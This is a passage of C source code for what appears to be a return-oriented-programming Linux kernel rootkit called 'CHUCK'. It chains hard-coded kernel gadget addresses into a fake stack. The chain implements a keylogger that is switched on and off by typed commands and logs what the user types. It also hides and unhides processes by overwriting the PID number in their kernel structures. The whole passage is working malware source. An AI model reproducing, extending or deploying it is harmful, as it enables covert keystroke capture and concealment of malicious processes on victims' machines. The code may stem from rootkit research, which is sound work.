generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_newline_size = (*fake_stack_size);
// ----------------------------------------------------------------
// React to newline
// ----------------------------------------------------------------
// This part is only execute if we encountered a newline character
// Replace the \r character
// Load the current index into rdi
generate_get_state_value(fake_stack, fake_stack_size,
BUFFER_INDEX, REG_RDI);
// Substract 1 as we want the last character.
generate_substract_value(fake_stack, fake_stack_size,
0x1, REG_RDI);
// Load the base address into rax
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // BUFFER,
// must be overwritten
// Increase the buffer by the current index - 1
add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size); // ADD RAX, RDI; RET
// Move RAX to RSI
generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
// Move zero into RAX
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
// Move into the buffer
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Reset the BUFFER_INDEX
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
generate_set_state_value(fake_stack, fake_stack_size,
BUFFER_INDEX, REG_RAX);
// Set Command to 1
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
generate_set_state_value(fake_stack, fake_stack_size,
COMMAND, REG_RAX);
// ----------------------------------------------------------------
// Log command if enabled
// ----------------------------------------------------------------
// Check wether keylogging is enabled (KEYLOG == 1)
// RBX: Value to compare with
// RDX: Value to compare
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
// Load value of keylog
generate_get_state_value(fake_stack, fake_stack_size,
KEYLOG, REG_RDX);
// Check
// Must be patched later on
jmp_no_keylog = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_keylog_size = (*fake_stack_size);
// Load command address
generate_pop(fake_stack, fake_stack_size, REG_RSI);
add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // BUFFER,
// must be overwritten
// Print command
// Use to %% characters such that the %s is interpreted
// during run-time.
generate_printk(fake_stack, fake_stack_size,
"[ ROP - CHUCK ] [ KEYLOGGER ] COMMAND: %%s\n");
// Patch the jumps
generate_conditional_jump_not_equal(&jmp_no_newline,
&jmp_no_newline_size,
(*fake_stack_size) - jmp_no_newline_size);
generate_conditional_jump_not_equal(&jmp_no_keylog,
&jmp_no_keylog_size,
(*fake_stack_size) - jmp_no_keylog_size);
// ----------------------------------------------------------------
// << NEWLINE PROCESSING DONE
// ================================================================
// ================================================================
// >> CHECK COMMAND
// ----------------------------------------------------------------
// ----------------------------------------------------------------
// Enable keylogging
// ----------------------------------------------------------------
// Check if the buffer contains the command 'chuck!k+', which will
// enable keylogging.
generate_check_command(fake_stack, fake_stack_size,
0x2b6b216b63756863);
// Result is within RAX. Move it to RDX for the comparison
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
// Load value to compare with into RBX (0x0)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
// Jump over the remainder if the command does not match
jmp_no_keylog_set = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_keylog_set_size = (*fake_stack_size);
// Enable keylogging.
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
generate_set_state_value(fake_stack, fake_stack_size,
KEYLOG, REG_RAX);
// Destory command to avoid that debug strings are printed twice
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
generate_set_state_value(fake_stack, fake_stack_size,
BUFFER, REG_RAX);
// Debug output if enabled
// RDX: Value to compare
// RBX: Value to compare with
generate_get_state_value(fake_stack, fake_stack_size,
DEBUG, REG_RDX);
// Load value to compare with into RBX (0x1)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
// Jump over the remainder if debugging is off
jmp_no_debug = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_debug_size = (*fake_stack_size);
generate_printk(fake_stack, fake_stack_size,
"[ ROP - CHUCK ] [ DEBUG ] Enabled keylogging!\n");
// Patch jumps
generate_conditional_jump_not_equal(&jmp_no_keylog_set,
&jmp_no_keylog_set_size,
(*fake_stack_size) - jmp_no_keylog_set_size);
generate_conditional_jump_not_equal(&jmp_no_debug,
&jmp_no_debug_size,
(*fake_stack_size) - jmp_no_debug_size);
// ----------------------------------------------------------------
// Disable keylogging
// ----------------------------------------------------------------
// Check if the buffer contains the command 'chuck!k<space>', which will
// disable keylogging.
generate_check_command(fake_stack, fake_stack_size,
0x2d6b216b63756863);
// Result is within RAX. Move it to RDX for the comparison
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
// Load value to compare with into RBX (0x0)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
// Jump over the remainder if the command does not match
jmp_no_keylog_unset = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_keylog_unset_size = (*fake_stack_size);
// Disable keylogging.
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
generate_set_state_value(fake_stack, fake_stack_size,
KEYLOG, REG_RAX);
// Destory command to avoid that debug strings are printed twice
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
generate_set_state_value(fake_stack, fake_stack_size,
BUFFER, REG_RAX);
// Debug output if enabled
// RDX: Value to compare
// RBX: Value to compare with
generate_get_state_value(fake_stack, fake_stack_size,
DEBUG, REG_RDX);
// Load value to compare with into RBX (0x1)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
// Jump over the remainder if debugging is off
jmp_no_debug = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_debug_size = (*fake_stack_size);
generate_printk(fake_stack, fake_stack_size,
"[ ROP - CHUCK ] [ DEBUG ] Disabled keylogging!\n");
// Patch jumps
generate_conditional_jump_not_equal(&jmp_no_keylog_unset,
&jmp_no_keylog_unset_size,
(*fake_stack_size) - jmp_no_keylog_unset_size);
generate_conditional_jump_not_equal(&jmp_no_debug,
&jmp_no_debug_size,
(*fake_stack_size) - jmp_no_debug_size);
// ----------------------------------------------------------------
// << CHECK COMMAND DONE
// ================================================================
}
/**
* Generates the unhide_task gadget sequence.
*
* This function generates the unhide_task_seqeunce. As this is a very
* specific sequence that expects various coditions to be met before
* it is executed, the function should only be called from the payload chain.
*
* This gadget uses ALL general purpose registers!
*
* IMPORTANT: This function is NOT stack safe!
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
*/
static void generate_unhide_task(void **fake_stack, u32 *fake_stack_size)
{
// These variables are used for the jump over the entire block
void *jmp_not_command = 0;
u32 jmp_not_command_size = 0;
// Jmp over debug sections
void *jmp_no_debug = 0;
u32 jmp_no_debug_size = 0;
// Jump if we hid the PID
void *jmp_pid_unhid = 0;
u32 jmp_pid_unhid_size = 0;
// Loop variables
void *jmp_not_found = 0;
u32 jmp_not_found_size = 0;
void *jmp_found = 0;
u32 jmp_found_size = 0;
// loop begin
u32 loop_begin = 0;
// Status
printf("\t[*] Generating unhide task gadget sequence...\n");
// ==============================================================
// >> CHECK COMMAND
// --------------------------------------------------------------
// Check if the command matches chuck!h-
generate_check_command(fake_stack, fake_stack_size,
0x2068216b63756863); // chuck!h<space>
// RAX now contains the result
// If the strings do not match (RAX != 0) we want to jump over this
// snippet!
// RBX must hold the value to compare with
// RDX must hold the value to be compared
// -> Move RAX to RDX
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
// Load value to compare with into RBX (0x0)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
jmp_not_command = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_not_command_size = (*fake_stack_size);
// ----------------------------------------------------------------
// << CHECK COMMAND DONE
// ================================================================
// ================================================================
// >> PARSE PID
// ----------------------------------------------------------------
// Parse PID, we use kstrtou16 for this purpose
// RDI = address of string, RSI = base, RDX = address of result
// setup RDI with address
add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size); // POP RDI, RET;
add_patch_entry(fake_stack, fake_stack_size, BUFFER, 8); // Create a patch entry
// The PID begins 8 bytes
// behind "chuck!u<space>"
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // BEGIN OF PID,
// must be overwritten
// Load base into RSI
add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size); // POP RSI, RET;
add_to_fake_stack(0xa, fake_stack, fake_stack_size); // The base is 10
// Load address into RDX
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size); // POP RDX
add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // PID_PARSE,
// must be overwritten
// Load Address of 'kstrtou16' into RAX
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff81358f60, fake_stack, fake_stack_size); // Address of kstrtou16
// "Call" kstrtou16
add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size); // JMP RAX;
// *PID_PARSE now containe the parsed PID
// ----------------------------------------------------------------
// << PARSE PID DONE
// ================================================================
// ================================================================
// >> DEBUG
// ----------------------------------------------------------------
// Debug output if enabled
// RDX: Value to compare
// RBX: Value to compare with
generate_get_state_value(fake_stack, fake_stack_size,
DEBUG, REG_RDX);
// Load value to compare with into RBX (0x1)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
// Jump over the remainder if debugging is off
jmp_no_debug = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_debug_size = (*fake_stack_size);
// Move the value of PID_PARSE into RSI
generate_get_state_value(fake_stack, fake_stack_size,
PID_PARSE, REG_RSI);
// Use %% here to actually print the PID
generate_printk(fake_stack, fake_stack_size,
"[ ROP - CHUCK ] [ DEBUG ] Unhiding process with PID %%d\n");
// Patch the jump from above
generate_conditional_jump_not_equal(&jmp_no_debug,
&jmp_no_debug_size,
(*fake_stack_size) - jmp_no_debug_size);
// ----------------------------------------------------------------
// << DEBUG DONE
// ================================================================
// ================================================================
// >> PID UNHIDING
// ----------------------------------------------------------------
// To unhide the process we will try to find its PID within the
// PID array and then reset the PID within its task struct to the
// original value. For this to work, we need a search loop.
// ----------------------------------------------------------------
// SEARCH LOOP
// ----------------------------------------------------------------
generate_pop(fake_stack, fake_stack_size, REG_RSI);
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // Counter is zero at the
// beginning.
// LOOP_BEGIN:
loop_begin = (*fake_stack_size);
// Did we reach the end of the array? To see this, we have to
// compare PID_INDEX with the current counter value.
// First we load PROC_INDEX into RBX.
generate_get_state_value(fake_stack, fake_stack_size,
PID_INDEX, REG_RBX);
// Next we load the counter (RSI) into RDX
generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
// Compare. If match goto NOT_FOUND
jmp_not_found = (*fake_stack);
generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
jmp_not_found_size = (*fake_stack_size);
// This code is only executed if this is a valid entry.
// Load the compare value into RBX.
generate_get_state_value(fake_stack, fake_stack_size,
PID_PARSE, REG_RBX);
// Load the base address of the array into RAX
generate_pop(fake_stack, fake_stack_size, REG_RAX); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // Will be overwritten
// Add the current index to the base address
add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size); // ADD RAX, RSI; RET;
// Get the value at the calculated address.
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET
// Load the compare value into RDX
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
// Check wether the value match. If we found the entry, we jump
// to FOUND.
jmp_found = (*fake_stack);
generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
jmp_found_size = (*fake_stack_size);
// This part is only executed if this is not the entry we are
// looking for.
// Increase the counter such that it points to the next entry.
// Each entry is 16 bytes long, thus we increase by 16.
generate_add_value(fake_stack, fake_stack_size, 16, REG_RSI);
// Jump back up to LOOP_BEGIN
generate_stack_decrement(fake_stack, fake_stack_size,
(*fake_stack_size) - loop_begin);
// ----------------------------------------------------------------
// FOUND:
// ----------------------------------------------------------------
// Update Jump Found
generate_conditional_jump_equal(&jmp_found,
&jmp_found_size,
(*fake_stack_size) - jmp_found_size);
// Save RSI. (The index)
generate_set_state_value(fake_stack, fake_stack_size,
TMP, REG_RSI);
// Reload RSI
generate_get_state_value(fake_stack, fake_stack_size,
TMP, REG_RSI);
// The entry we are looking for is specified by RSI, which is the
// offset of the entry from the beginning of the array. We want
// the PID struct value of the entry, which is 8 bytes behind the
// position where RSI currently points to. Thus we first increment
// RSI.
generate_add_value(fake_stack, fake_stack_size, 8, REG_RSI);
// Next we load the base address into RAX
generate_pop(fake_stack, fake_stack_size, REG_RAX); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // Will be overwritten
// Add the current index to the base address
add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size); // ADD RAX, RSI; RET;
// Get the VALUE at the address.
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET
// RAX now contains the PID_STRUCT pointer!
// Unhide the PID
// Set pid_struct->number[0].nr to the PID within PID_PARSE
// For our kernel this is pointer + 0x30
// Load offset (0x30) into RDI
add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size); // POP RDI; RET
add_to_fake_stack(0x30, fake_stack, fake_stack_size); // OFFSET
// Add offset to pointer
add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size); // ADD RAX, RDI; RET
// RAX now points to the correct location
// Move to RSI
generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
// Load correct PID into RAX
generate_get_state_value(fake_stack, fake_stack_size,
PID_PARSE, REG_RAX);
// Move!
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Process should now be unhidden!
// Next we have to fix the PID_ARRAY, we use memcopy for this purpose.
// RDI (to): PID_ARRAY + INDEX
// RSI (from): PID_ARRAY + INDEX + 16 (after the current index)
// RDX (size): PID_INDEX - INDEX -16
// RSI first
// Get Index
generate_get_state_value(fake_stack, fake_stack_size,
TMP, REG_RSI);
// Add 16
generate_add_value(fake_stack, fake_stack_size,
16, REG_RSI);
// Next we load the base address into RAX
generate_pop(fake_stack, fake_stack_size, REG_RAX); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // Will be overwritten
// Add the current index to the base address
add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size); // ADD RAX, RSI; RET;
// Move to RSI
generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
// RSI set.
// Now RDI. Load Index
generate_get_state_value_unsafe(fake_stack, fake_stack_size,
TMP, REG_RDI);
// Next we load the base address into RAX
generate_pop(fake_stack, fake_stack_size, REG_RAX); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // Will be overwritten
// Add to RDI.
add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size); // ADD RDI, RAX;
// MOV RAX,RDI;
// RET;
// Finally RDX
generate_get_state_value_unsafe(fake_stack, fake_stack_size,
TMP, REG_RDX);
// Add 16 to RDX
// Do this unsafe to keep RDI in tact.
generate_add_value_unsafe(fake_stack, fake_stack_size,
16, REG_RDX);
// Load PID_INDEX
// Notice that this sequence must be after the load RDX sequence!
generate_get_state_value_unsafe(fake_stack, fake_stack_size,
PID_INDEX, REG_RAX);
// Substract RDX from RAX
add_to_fake_stack(0xffffffff81079357, fake_stack, fake_stack_size); // SUB RAX, RDX; RET;
// Move to RDX
generate_move_from_rax_unsafe(fake_stack, fake_stack_size, REG_RDX);
// Call memcopy
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff81354190, fake_stack, fake_stack_size); // Address of memcpy
// "Call" find_get_pid
add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size); // JMP RAX;
// Finally we have to update the PID_INDEX
generate_get_state_value(fake_stack, fake_stack_size,
PID_INDEX, REG_RAX);
// Substract 0x16
generate_substract_value(fake_stack, fake_stack_size,
16, REG_RAX);
// Update
generate_set_state_value(fake_stack, fake_stack_size,
PID_INDEX, REG_RAX);
// ----------------------------------------------------------------
// << PID UNHIDING DONE
// ================================================================
// ================================================================
// >> EPILOG
// ----------------------------------------------------------------
// Finally we have to patch the conditional jumps that jumps over
// the entire sequence, if the command entered is not chuck!u.
// IMPORTANT: Do not update the fake_stack pointers, as we overwrite
// an existing area
// Jump over the remainder in case we unhid the PID
// must be patched later on!
jmp_pid_unhid = (*fake_stack);
generate_stack_increment(fake_stack, fake_stack_size, 0x0);
jmp_pid_unhid_size = (*fake_stack_size);
// First if we could not find the PID
generate_conditional_jump_equal(&jmp_not_found,
&jmp_not_found_size,
(*fake_stack_size) - jmp_not_found_size);
// Debug output if enabled
// RDX: Value to compare
// RBX: Value to compare with
generate_get_state_value(fake_stack, fake_stack_size,
DEBUG, REG_RDX);
// Load value to compare with into RBX (0x1)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
// Jump over the remainder if debugging is off
jmp_no_debug = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_debug_size = (*fake_stack_size);
// Move the value of PID_PARSE into RSI
generate_get_state_value(fake_stack, fake_stack_size,
PID_PARSE, REG_RSI);
// Use %% here to actually print the PID
generate_printk(fake_stack, fake_stack_size,
"[ ROP - CHUCK ] [ DEBUG ] Could not find process with PID %%d!\n");
// Patch the jump from above
generate_conditional_jump_not_equal(&jmp_no_debug,
&jmp_no_debug_size,
(*fake_stack_size) - jmp_no_debug_size);
// Now the jump that is executed if this is not a hide command
generate_conditional_jump_not_equal(&jmp_not_command,
&jmp_not_command_size,
(*fake_stack_size) - jmp_not_command_size);
// Finally the stack increment
generate_stack_increment(&jmp_pid_unhid,
&jmp_pid_unhid_size,
(*fake_stack_size) - jmp_pid_unhid_size);
}
/**
* Generates the hide_task gadget sequence.
*
* This function generates the hide_task seqeunce. As this is a very
* specific sequence that expects various coditions to be met before
* it is executed, the function should only be called from the payload chain.
*
* This gadget uses ALL general purpose registers!
*
* IMPORTANT: This function is NOT stack safe!
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
*/
static void generate_hide_task(void **fake_stack, u32 *fake_stack_size)
{
// These variables are used for the jump over the entire block
void *jmp_not_command = 0;
u32 jmp_not_command_size = 0;
// Jmp over debug sections
void *jmp_no_debug = 0;
u32 jmp_no_debug_size = 0;
// Jump if we did not find a valid PID
void *jmp_no_valid_pid = 0;
u32 jmp_no_valid_pid_size = 0;
// Jump if we hid the PID
void *jmp_pid_hid = 0;
u32 jmp_pid_hid_size = 0;
// Status
printf("\t[*] Generating hide task gadget sequence...\n");
// ==============================================================
// >> CHECK COMMAND
// --------------------------------------------------------------
// Check if the command matches chuck!H
generate_check_command(fake_stack, fake_stack_size,
0x2048216b63756863); // chuck!H<space>
// RAX now contains the result
// If the strings do not match (RAX != 0) we want to jump over this
// snippet!
// RBX must hold the value to compare with
// RDX must hold the value to be compared
// -> Move RAX to RDX
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
// Load value to compare with into RBX (0x0)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
jmp_not_command = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_not_command_size = (*fake_stack_size);
// ----------------------------------------------------------------
// << CHECK COMMAND DONE
// ================================================================
// ================================================================
// >> PARSE PID
// ----------------------------------------------------------------
// Parse PID, we use kstrtou16 for this purpose
// RDI = address of string, RSI = base, RDX = address of result
// setup RDI with address
add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size); // POP RDI, RET;
add_patch_entry(fake_stack, fake_stack_size, BUFFER, 8); // Create a patch entry
// The PID begins 8 bytes
// behind "chuck!h<space>"
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // BEGIN OF PID,
// must be overwritten
// Load base into RSI
add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size); // POP RSI, RET;
add_to_fake_stack(0xa, fake_stack, fake_stack_size); // The base is 10
// Load address into RDX
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size); // POP RDX
add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // PID_PARSE,
// must be overwritten
// Load Address of 'kstrtou16' into RAX
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff81358f60, fake_stack, fake_stack_size); // Address of kstrtou16
// "Call" kstrtou16
add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size); // JMP RAX;
// *PID_PARSE now containe the parsed PID
// ----------------------------------------------------------------
// << PARSE PID DONE
// ================================================================
// ================================================================
// >> DEBUG
// ----------------------------------------------------------------
// Debug output if enabled
// RDX: Value to compare
// RBX: Value to compare with
generate_get_state_value(fake_stack, fake_stack_size,
DEBUG, REG_RDX);
// Load value to compare with into RBX (0x1)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
// Jump over the remainder if debugging is off
jmp_no_debug = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_debug_size = (*fake_stack_size);
// Move the value of PID_PARSE into RSI
generate_get_state_value(fake_stack, fake_stack_size,
PID_PARSE, REG_RSI);
// Use %% here to actually print the PID
generate_printk(fake_stack, fake_stack_size,
"[ ROP - CHUCK ] [ DEBUG ] Hiding process with PID %%d\n");
// Patch the jump from above
generate_conditional_jump_not_equal(&jmp_no_debug,
&jmp_no_debug_size,
(*fake_stack_size) - jmp_no_debug_size);
// ----------------------------------------------------------------
// << DEBUG DONE
// ================================================================
// ================================================================
// >> PID HIDING
// ----------------------------------------------------------------
// To hide the process we will make use of the function
// struct pid * find_get_pid(size_t pid);
// If the function returns a pid struct, we will set the number of
// the PID to zero, which will hide the process. At the same time
// we will also store the original number and the struct PID
// pointer to unhide the struct later on.
// Lets try to find the PID
// For this we need to load the PID into RDI. We use a gadget
// Containing a call RAX for this purpose. Thus we first setup RAX.
// The gadget will simply pop the address pushed by the call.
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // Address of POP RAX; RET;
// Next load the &PID_PARSE into RBX
add_to_fake_stack(0xffffffff812ca859, fake_stack, fake_stack_size); // POP RBX, RET;
add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // PID_PARSE,
// must be overwritten by init
// Load the VALUE of PID_PARSE into RDI
add_to_fake_stack(0xffffffff8147d773, fake_stack, fake_stack_size); // MOV RDI, [RBX]; CALL RAX;
// Obtain the struct pid by invocing find_get_pid
// Load Address of 'find_get_pid' into RAX
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff810793e0, fake_stack, fake_stack_size); // Address of find_get_pid
// "Call" find_get_pid
add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size); // JMP RAX;
// RAX now contains the struct pid * or NULL
// RAX is frequently used by gadgets and function calls. Currently
// it contains the struct pid *. To avoid overwriting the pointer,
// we save it to the TMP area within the state before we continue.
add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size); // POP RSI, RET;
add_patch_entry(fake_stack, fake_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // TMP,
// must be overwritten by init
// RSI now points to TMP!
// Save the pointer to TMP
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Check for a valid Pointer (not NULL) and jump over the remainder
// in case the PID was not found (= pointer is NULL).
// We update this location at the end of the function!
// RBX must contain the value to compare with
// RDX must contain the value to compare
// Load TMP into RDX
generate_get_state_value(fake_stack, fake_stack_size,
TMP, REG_RDX);
// Load value to compare with into RBX (0x0)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
jmp_no_valid_pid = (*fake_stack);
generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_valid_pid_size = (*fake_stack_size);
// PID was found, store the struct pointer and the PID in the PID_ARRAY
// For this purpose we load the address we want to move to into RSI.
// To achieve this we first move the address to RDI and then to RSI.
// Load address of PID_ARRAY into RDI
add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size); // POP RDI, RET;
add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // PID_ARRAY,
// must be overwritten by init
// Next load current PID_INDEX into RAX
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, PID_INDEX, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // PID_INDEX,
// must be overwritten by init
// We want the VALUE of PID_INDEX not its address
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET;
// Add index to address
add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size); // ADD RDI, RAX;
// MOV RAX,RDI;
// RET;
// Move RDI to RSI
// Gadget uses a CALL RCX, so set up RCX first.
// Simply pop the value pushed by the call from the stack.
add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size); // POP RCX; RET
add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size); // Address POP RCX; RET
// IMPORTANT: Since RAX and RDI contain the SAME value at this
// point, RDI remains unchanged!
add_to_fake_stack(0xffffffff811cc08e, fake_stack, fake_stack_size); // MOV RSI, RDI;
// MOV RDI, RAX;
// RET;
// RSI now points to the free entry in the array.
// Now we can move the values there.
// First the PID
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // PID_PARSE,
// must be overwritten by init
// We want the VALUE within PID_PARSE
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET;
// Move
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Increment RSI by 8
// Again this is done by incrementing RDI and moving to RSI.
// Since we have not touched RDI it still has the same value as RSI!
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_to_fake_stack(0x8, fake_stack, fake_stack_size); // Increment 0x8
// Add to address
add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size); // ADD RDI, RAX;
// MOV RAX,RDI;
// RET;
// Move RDI to RSI
// Gadget uses a CALL RCX, so set up RCX first.
// Simply pop the value pushed by the call from the stack.
add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size); // POP RCX; RET
add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size); // Address POP RCX; RET
add_to_fake_stack(0xffffffff811cc08e, fake_stack, fake_stack_size); // MOV RSI, RDI;
// MOV RDI, RAX;
// RET;
// RSI now points to the free entry in the array.
// Next we move the struct PID pointer, which is currently stored
// in TMP
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // TMP,
// must be overwritten by init
// We want the VALUE within TMP
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET;
// Move
